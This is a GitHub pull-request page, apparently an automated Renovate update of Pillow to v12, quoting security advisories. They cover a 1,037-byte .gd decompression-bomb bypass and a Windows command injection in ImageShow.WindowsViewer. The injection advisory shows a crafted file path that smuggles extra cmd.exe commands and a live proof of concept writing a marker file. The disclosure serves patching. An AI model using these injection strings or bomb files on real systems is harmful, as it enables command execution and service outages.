[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted
[MATH] 4,294,836,225 pixels = 24.0× error threshold
[MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

PathFile sizeEffect
Transient (header only)1,037 bytesload_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data)~4.3 GBload() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

fromPILimportGdImageFile##### Application accepts user-uploaded .gd filesimg=GdImageFile.open(user_uploaded_file) # succeeds — no bomb checkimg.load() # triggers 4.3 GB C-heap allocation
Impact
  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillowmain branch as of 2026-06-08.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path

CVE-2026-55798 / GHSA-4x4j-2g7c-83w6

More information

Details

1. Summary

WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.

The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.


2. Vulnerable Code

File:src/PIL/ImageShow.py, lines 133–150

classWindowsViewer(Viewer):
format="PNG"options= {"compress_level": 1, "save_all": True}
defget_command(self, file: str, **options: Any) ->str:
return (
f'start "Pillow" /WAIT "{file}" '# ← f-string, no escaping"&& ping -n 4 127.0.0.1 >NUL "f'&& del /f "{file}"'# ← same path, unescaped again
)
defshow_file(self, path: str, **options: Any) ->int:
ifnotos.path.exists(path):
raiseFileNotFoundErrorsubprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=Truecreationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manuallyreturn1

Contrast with macOS — SAFE (line 164–168):

classMacViewer(Viewer):
defget_command(self, file: str, **options: Any) ->str:
command="open -a Preview.app"command=f"({command}{quote(file)}; sleep 20; rm -f {quote(file)})&"returncommand# ← shlex.quote() applied

Cross-platform summary:

PlatformClassshlex.quote()?shell=True?Safe?
macOSMacViewerYes (line 168)No (list args)✅ Yes
LinuxUnixViewerYes (line 207)No (list args)✅ Yes
WindowsWindowsViewerNo (line 134–137)Yes (line 148)❌ No

shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.


3. Proof of Concept

A full working PoC is at poc_pillow_injection.py. Key parts:

Part A — Injection string construction (static, no execution):

fromPIL.ImageShowimportWindowsViewerviewer=WindowsViewer()
evil_path=r'C:\Temp\evil" & echo PWNED & echo "'cmd=viewer.get_command(evil_path)
print(cmd)
##### Output:##### start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...##### ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)##### ├─ & echo PWNED → INJECTED COMMAND##### └─ & echo "" && ping ... → continues

Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):

importos, tempfilefromPIL.ImageShowimportWindowsViewerviewer=WindowsViewer()
poc_dir=tempfile.mkdtemp()
marker=os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
##### Craft injection: payload writes a marker file (harmless)payload=f'echo REAL_INJECTED > "{marker}"'evil_path=os.path.join(poc_dir, f'poc" & {payload} & echo "')
##### Call the REAL Pillow get_command():real_cmd=viewer.get_command(evil_path)
##### Execute the same way the base Viewer.show_file() does (os.system):os.system(real_cmd)
assertos.path.exists(marker) # PASSES — marker was createdassert"REAL_INJECTED"inopen(marker).read() # PASSES##### → CONFIRMED: arbitrary command injection via get_command()

Severity

  • CVSS Score: 4.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: Heap out-of-bounds write Image.paste() / Image.crop() via signed coordinate overflow

CVE-2026-59199 / GHSA-6r8x-57c9-28j4

More information

Details

Summary

Pillow

Note

PR body was truncated to here.

@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY]Update dependency pillow to v12 [SECURITY] - autoclosedMar 27, 2026
@renovaterenovateBot closed this Mar 27, 2026
@renovate
renovateBot deleted the renovate/pypi-pillow-vulnerability branch March 27, 2026 01:16
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY] - autoclosedUpdate dependency pillow to v12 [SECURITY]Mar 30, 2026
@renovaterenovateBot reopened this Mar 30, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-pillow-vulnerability branch 2 times, most recently from f1da20b to d54e149CompareMarch 30, 2026 18:31
@renovate
renovateBotforce-pushed the renovate/pypi-pillow-vulnerability branch from d54e149 to 87432b2CompareApril 14, 2026 01:51
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY]Update dependency pillow to v12 [SECURITY] - autoclosedApr 27, 2026
@renovaterenovateBot closed this Apr 27, 2026
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY] - autoclosedUpdate dependency pillow to v12 [SECURITY]Apr 28, 2026
@renovaterenovateBot reopened this Apr 28, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-pillow-vulnerability branch 2 times, most recently from 87432b2 to 88a175fCompareApril 28, 2026 04:35
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY]Update dependency pillow to v12 [SECURITY] - autoclosedJul 19, 2026
@renovaterenovateBot closed this Jul 19, 2026
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY] - autoclosedUpdate dependency pillow to v12 [SECURITY]Jul 19, 2026
@renovaterenovateBot reopened this Jul 19, 2026
@renovate
renovateBotforce-pushed the renovate/pypi-pillow-vulnerability branch from 88a175f to fe35143CompareJuly 19, 2026 23:35
@renovate
renovateBotforce-pushed the renovate/pypi-pillow-vulnerability branch from fe35143 to 46525f1CompareJuly 21, 2026 23:47
@renovaterenovateBot changed the title Update dependency pillow to v12 [SECURITY]Update dependency pillow to v12 [SECURITY] - autoclosedAug 1, 2026
@renovaterenovateBot closed this Aug 1, 2026
Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants